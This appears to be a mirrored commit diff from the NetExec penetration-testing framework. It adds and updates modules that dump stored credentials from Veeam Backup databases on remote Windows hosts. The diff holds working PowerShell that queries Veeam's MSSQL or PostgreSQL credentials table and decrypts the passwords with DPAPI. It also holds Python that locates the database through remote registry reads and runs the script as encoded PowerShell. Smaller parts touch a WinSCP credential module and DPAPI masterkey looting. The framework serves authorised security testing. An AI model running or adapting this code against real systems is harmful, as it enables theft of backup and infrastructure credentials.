mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Merge branch 'master' into protocol_db_marshall
This commit is contained in:
+1
-1
@@ -3,7 +3,7 @@ $SqlServerName = "REPLACE_ME_SqlServer"
|
||||
$SqlInstanceName = "REPLACE_ME_SqlInstance"
|
||||
|
||||
#Forming the connection string
|
||||
$SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$auth = "Integrated Security=SSPI;" #Local user
|
||||
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
|
||||
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
|
||||
@@ -0,0 +1,22 @@
|
||||
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
|
||||
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
|
||||
|
||||
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
|
||||
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
|
||||
|
||||
if ($output.count -eq 0) {
|
||||
Write-Host "No passwords found!"
|
||||
exit
|
||||
}
|
||||
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD)
|
||||
}
|
||||
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String
|
||||
+95
-32
@@ -13,8 +13,7 @@ from cme.helpers.powershell import get_ps_script
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Module by @NeffIsBack
|
||||
|
||||
Module by @NeffIsBack, @Marshall-Hallenbeck
|
||||
"""
|
||||
|
||||
name = "veeam"
|
||||
@@ -24,8 +23,10 @@ class CMEModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile:
|
||||
self.psScript = psFile.read()
|
||||
with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1"), "r") as psFile:
|
||||
self.psScriptMssql = psFile.read()
|
||||
with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1"), "r") as psFile:
|
||||
self.psScriptPostgresql = psFile.read()
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -35,10 +36,17 @@ class CMEModule:
|
||||
|
||||
def checkVeeamInstalled(self, context, connection):
|
||||
context.log.display("Looking for Veeam installation...")
|
||||
|
||||
# MsSql
|
||||
SqlDatabase = ""
|
||||
SqlInstance = ""
|
||||
SqlServer = ""
|
||||
|
||||
# PostgreSql
|
||||
PostgreSqlExec = ""
|
||||
PostgresUserForWindowsAuth = ""
|
||||
SqlDatabaseName = ""
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
@@ -46,37 +54,96 @@ class CMEModule:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Veeam\\Veeam Backup and Replication",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
# Veeam v12 check
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations",)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0]
|
||||
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.fail("No Veeam installation found")
|
||||
except:
|
||||
context.log.fail("UNEXPECTED ERROR:")
|
||||
traceback.print_exc()
|
||||
context.log.success("Veeam v12 installation found!")
|
||||
if database_config == "PostgreSql":
|
||||
# Find the PostgreSql installation path containing "psql.exe"
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL",)
|
||||
keyHandle = ans["phkResult"]
|
||||
PostgreSqlExec = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Location")[1].split("\x00")[:-1][0] + "\\bin\\psql.exe"
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL",)
|
||||
keyHandle = ans["phkResult"]
|
||||
PostgresUserForWindowsAuth = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PostgresUserForWindowsAuth")[1].split("\x00")[:-1][0]
|
||||
SqlDatabaseName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
elif database_config == "MsSql":
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql",)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Veeam v12 installation found")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
# Veeam v11 check
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication",)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
|
||||
context.log.success("Veeam v11 installation found!")
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Veeam v11 installation found")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
except NotImplementedError as e:
|
||||
pass
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return [SqlDatabase, SqlInstance, SqlServer]
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error shutting down remote registry service: {e}")
|
||||
|
||||
# Check if we found an SQL Server of some kind
|
||||
if SqlDatabase and SqlInstance and SqlServer:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
|
||||
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
self.printCreds(context, credentials)
|
||||
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
|
||||
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
|
||||
self.printCreds(context, credentials)
|
||||
|
||||
def stripXmlOutput(self, context, output):
|
||||
return output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
def extractCreds(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
|
||||
self.psScript = self.psScript.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScript = self.psScript.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScript = self.psScript.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
psScipt_b64 = b64encode(self.psScript.encode("UTF-16LE")).decode("utf-8")
|
||||
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
|
||||
|
||||
output = connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
|
||||
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
|
||||
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
|
||||
|
||||
def printCreds(self, context, output):
|
||||
# Format ouput if returned in some XML Format
|
||||
if "CLIXML" in output:
|
||||
output = self.stripXmlOutput(context, output)
|
||||
@@ -94,8 +161,4 @@ class CMEModule:
|
||||
context.log.highlight(user + ":" + password)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection)
|
||||
|
||||
if SqlDatabase and SqlInstance and SqlServer:
|
||||
context.log.success('Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(SqlDatabase, SqlServer, SqlInstance))
|
||||
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
self.checkVeeamInstalled(context, connection)
|
||||
|
||||
+19
-17
@@ -161,8 +161,9 @@ class CMEModule:
|
||||
decPassword = "NO_PASSWORD_FOUND"
|
||||
sectionName = unquote(sessionName)
|
||||
return [sectionName, hostName, userName, decPassword]
|
||||
except:
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error in Session Extraction: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return "ERROR IN SESSION EXTRACTION"
|
||||
@@ -197,9 +198,9 @@ class CMEModule:
|
||||
userNames.remove(".DEFAULT")
|
||||
regex = re.compile(r"^.*_Classes$")
|
||||
userObjects = [i for i in userNames if not regex.match(i)]
|
||||
except:
|
||||
context.log.fail("Error handling Users in registry")
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error handling Users in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return userObjects
|
||||
@@ -232,9 +233,9 @@ class CMEModule:
|
||||
for i in range(users):
|
||||
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
except:
|
||||
context.log.fail("Error handling Users in registry")
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error handling Users in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return userObjects
|
||||
@@ -299,8 +300,9 @@ class CMEModule:
|
||||
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
|
||||
except:
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
@@ -376,17 +378,17 @@ class CMEModule:
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
|
||||
except Exception:
|
||||
context.log.fail("Unexpected error:")
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
self.unloadMissingUsers(context, connection, unloadedUserObjects)
|
||||
except DCERPCException as e:
|
||||
# Error during registry query
|
||||
if str(e).find("rpc_s_access_denied"):
|
||||
context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
|
||||
except:
|
||||
context.log.fail("UNEXPECTED ERROR:")
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
|
||||
@@ -425,7 +427,7 @@ class CMEModule:
|
||||
self.decodeConfigFile(context, confFile)
|
||||
except:
|
||||
context.log.fail("Error! No config file found at {}".format(self.filepath))
|
||||
traceback.print_exc()
|
||||
context.log.debug(traceback.format_exc())
|
||||
else:
|
||||
context.log.display("Looking for WinSCP creds in User documents and AppData...")
|
||||
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
|
||||
|
||||
@@ -1534,7 +1534,7 @@ class smb(connection):
|
||||
self.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
logging.fail("No masterkeys looted")
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
Reference in New Issue
Block a user